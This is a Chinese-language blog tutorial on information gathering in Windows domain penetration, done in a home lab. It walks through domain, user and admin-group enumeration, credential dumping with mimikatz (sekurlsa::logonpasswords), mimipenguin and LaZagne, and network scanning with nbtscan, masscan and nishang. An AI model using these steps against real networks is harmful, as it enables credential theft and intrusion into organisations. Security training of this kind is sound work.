数据来源
基本概念
DMZ区域:称为“隔离区”,也称‘’非军事化区/停火区”
工作组(Work Group)是局域网中的一个概念。它是最常见最简单最普通的资源管理模式,就是将不同的电脑按功能分别列入不同的组中,以方便管理。
域和工作组类似,但是由域控制器统一管理,更适合大型网络
Linux域渗透问题
Linux实现域的功能需要安装LDAP,功能不如域强且技术要求高,较少被使用
局域网技术适用问题
有些局域网内的攻击方法在域内不生效
大概内网安全流程问题
信息收集-权限提升-横向渗透-权限维持
演示案例:
- 基本信息收集操作演示
- 网络信息收集操作演示
- 用户信息收集操作演示
- 凭据信息收集操作演示
- 探针主机域控架构服务操作演示
前提:你要有域环境才能复现下面的案例,域环境的部署可参考我之前写的文章:域(DOmain)_正经人_____的博客-CSDN博客
不同的是我这里的域主机与kali这些主机都是桥接到VMnet8(NAT)模式上是可以正常上网的,懒得手动配ip,而且之后使用kali攻击时可能还需要用到网络。
案例 1-基本信息收集操作演示
旨在了解当前服务器的计算机基本信息,为后续判断服务器角色,网络环境等做准备
演示
1)查一下内网主机的详细信息
在域的控制器/域主机运行
systeminfo # 详细信息
在域的子主机中运行(域子机就是加入域后使用域的账号登录的主机,注意:这里是使用域创建的账号登录不是本地账户登录)
2)查一下内网主机启动的服务
随便在哪运行都可以
net start # 启动服务
3)查看内网主机正在运行的进程
随便在哪运行都可以
tasklist # 进程列表
4)查看内网主机正在运行的计划任务
在域的控制器/域主机运行
schtasks # 计划任务
域子机/域成员机中运行
案例 2- 网络信息收集操作演示
旨在了解当前服务器的网络接口信息,为判断当前角色,功能,网络架构做准备
1)判断是否存在域
在域的控制器/域主机运行
ipconfig /all # 判断存在域- dns(自己配过域环境你就知道,安装域会自动安装DNS,域子机要加入域就要把DNS设置指向域主机的NDS,所以存在DNS的主机就是域环境下的主机)
没有加入域的主机运行命令(真实机)
也可以换一种方式判断是否存在域(在域的控制器/域主机运行)
net view /domain # 判断存在域
没有域的主机中运行
2)判断主域
在域的控制器/域主机运行
net time /domain # 判断主域(域主机/域控/域的控制机)
域子机中运行结果也是一样的
有了域主机的名称我们就可以查看域主机的ip地址
nslookup 域主机名(计算机名+域名=域主机名)
也可以使用ping命令去ping刚才的域名称来获取ip
ping WIN-I7NPA55KMBD.zs.com
3)查看主机端口开放情况:史上最全网络端口号大全,网络工程师必备! (baidu.com)
netstat -ano # 当前网络端口开放
收集端口信息有啥用?比如发现目标主机开放了1433端口我们就可以判断这台主机可能是网站的服务器主机(1433是sql默认的端口)
案例 3-用户信息收集操作演示
旨在了解当前计算机或域环境下的用户及用户组信息,便于后期利用凭据进行测试
系统默认常见用户身份:
- Domain Admins:域管理员(默认对域控制器有完全控制权)
- Domain Computers:域内机器
- Domain Controllers:域控制器
- Domain Guest:域访客,权限低
- Domain Users:域用户
- Enterprise Admins:企业系统管理员用户(默认对域控制器有完全控制权)
相关用户收集操作命令:(用户信息的详细介绍)
1)查看当前用户的权限
whoami /all
- 每个用户登录系统后,拥有不同的操作权限。
- 每个账户有自己唯一的SID(安全标识符)
- 用户SID:S-1-5-21-426206823-257946042-14852678-500(后面的500也称为UID才是用户id,前面是系统的id,就像我们的身份证号码:如广东的是4408XXXX开头)
- 系统SID:S-1-5-21-426206823-257946042-14852678
- 用户UID:500
- windows系统管理员administrator的UID是500
- 普通用户的UID是1000开始的
- 不同的账户拥有不同的权限,为不同的账户赋权限,也就是为不同账户的SID赋权限!
2)查看登录信息
net config workstation
3)查看本地用户
net user
4)查看本地用户组
net localgroup
5)查看域用户信息
net user /domain
6)获取域用户组信息
net group /domain
7)涉及域用户详细信息
wmic useraccount get /all
如果是普通的域账号访问
8)查询域管理员账户
net group "Domain Admins" /domain
域主机与子机执行命令结果都是一样的(这就意味着我们随便入侵到一个域成员账号都可以,这难度就大大降低了,因为管理员的安全意识一般会好一点像弱口令之类的低级错误一般都不存在,普通员工的账号就不一样了。)
9)查询管理员用户组
net group "Enterprise Admins" /domain
域主机与子机执行命令结果都是一样的
10)查询域控制器
net group "Domain Controllers" /domain
域主机与子机执行命令结果都是一样的
有了这些信息有啥用?比如后续我们要基于密码账户的攻击手段时就可以把用户名套用进去,只需要破解密码就行
前面的操作都很简单输入命令就行,甚至有些脚本直接帮我们完成了(也可以自己写个批处理脚本,可以参考:批处理编写),下面的案例才是重点。
案例 4-凭据信息收集操作演示(重点)
旨在收集各种密文,明文,口令等,为后续横向渗透做好测试准备
1)计算机用户 HASH,明文获取 mimikatz(win),mimipenguin(linux)
win
工具下载链接:https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip
使用:
如果使用域的普通账户运行是不行的必须是管理员账户,不然很多文件都没有权限读取
1、运行脚本
不要这样运行,直接运行这个可执行程序后面无法复制粘贴命令,建议用cmd运行这个脚本
2、调试(必须)
privilege::debug
3、获取计算机的登录密码
sekurlsa::logonpasswords
linux
下载
git clone https://github.com/huntergregal/mimipenguin.git
下载完成后,进入并如下运行 mimipenguin:
cd mimipenguin/
./mimipenguin.sh
我这里演示不了系统版本都高与他的脚本要求,不过很少有用linux系统做网站服务器的一般都是windows系统
2)计算机各种协议服务口令获取 LaZagne(all),XenArmor(win)
LaZagne项目是一个开源应用程序,用于检索存储在本地计算机上的大量密码
LaZagne工具下载:
zip下载
tar.gz下载
如果你的win系统没有安装python的可以可以下载第一个.exe的可执行程序 ,不过网站警告不安全可以下虚拟机下载
使用
# 我这里是python3运行的脚本
python laZagne.py all -oN
XenArmor:Win,付费
这里就不演示了,没钱付费,试用期只有7天,懒的搞
案例 5-探针主机域控架构服务操作演示
为后续横向思路做准备,针对应用,协议等各类攻击手法
1)探针域控制器名及地址信息(使用nbtscan,官网:nbtscan) 第三方工具
下载链接:http://www.unixwiz.net/tools/nbtscan-1.0.35.exe
这个工具其实就是相当于前面对域主机操作案例的命令的一个优化后的集合脚本 (听起来有点别扭,知道是这个意思就行 v(~-~)v )
使用:
# 程序名 要扫描的网段,/24表示子网掩码->3个255->255.255.255.0
nbtscan-1.0.35 192.168.1.0/24
或者使用系统自带的命令-循环 ping: (不推荐,他只能测试出目标网段存活的主机ip)
第一个1是起始地址,中间的1是步长,最后一个是结束地址
-w 1
-n 1
| findstr "TTL" :进行一个排除
# 这条命令的意思就是从1 ping 到254 指定目标网段 (跟你手动一个一个的ping区别不大)
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="
2)nmap - 扫描器之王-kali自带无须安装
- 扫描的速度较慢
- 但是可以扫描操作系统、端口的服务和版本等详细的信息
使用演示这里就不讲了,我以前写过一篇工具的使用教程需要的可以参考下:kail - 扫描与爆破_正经人_____的博客-CSDN博客
3)masscan,参考 (kali自带)
- 只能扫描端口
- 速度快
# -p指定扫描的端口,可以是一个或多个如:-p80 、 -p80,3389 、 -p20-30
masscan 192.168.1.0/24 -p80
masscan 192.168.1.0/24 -p80,3389
masscan 192.168.1.0/24 -p20-30
4)第三方 PowerShell 脚本 nishang、empire 等
这里演示nishang(参考)
官网:GitHub - samratashok/nishang
zip下载:https://codeload.github.com/samratashok/nishang/zip/refs/heads/master
要在PowerShell中执行命令,方法:在开始菜单搜索“PowerShell”就好
切换路径并导入模块 nishang
# 切换路径-这里要根据自己的实际情况来我的脚本是放在桌面上
cd Desktop\nishang-master
# cd Desktop\nishang-master
Import-Module ./nishang.psm1
解决:设置执行策略 -> 再次导入
Set-ExecutionPolicy RemoteSigned
解决:
cd nishang-master # 再切换一层文件夹
Import-Module ./nishang.psm1 # 再次导入
获取模块 nishang 的命令函数
Get-Command -Module nishang
获取常规计算机信息
Get-Information 或 Information
端口扫描(查看目录对应文件有演示语法,其他同理)
# 开始地址 结束地址
Invoke-PortScan -StartAddress 192.168.1.0 -EndAddress 192.168.1.255 -ResolveHost -ScanPort
其他功能:删除补丁,反弹 Shell,凭据获取等
探针域内主机角色及服务信息
利用开放端口服务及计算机名判断
核心业务机器:
- 高级管理人员、系统管理员、财务/人事/业务人员的个人计算机
- 产品管理系统服务器
- 办公系统服务器
- 财务应用系统服务器
- 核心产品源码服务器(自建 SVN、GIT)
- 数据库服务器
- 文件或网盘服务器、共享服务器
- 电子邮件服务器
- 网络监控系统服务器
- 其他服务器(内部技术文档服务器、其他监控服务器等)
涉及资源:
- http://unixwiz.net/tools/nbtscan.html
- GitHub - samratashok/nishang: Nishang - Offensive PowerShell for red team, penetration testing and offensive security.
- GitHub - gentilkiwi/mimikatz: A little tool to play with Windows security
- GitHub - huntergregal/mimipenguin: A tool to dump the login password from the current linux user
- GitHub - AlessandroZ/LaZagne: Credentials recovery project
- XenArmor All-In-One Password Recovery Pro 2022 Software | XenArmor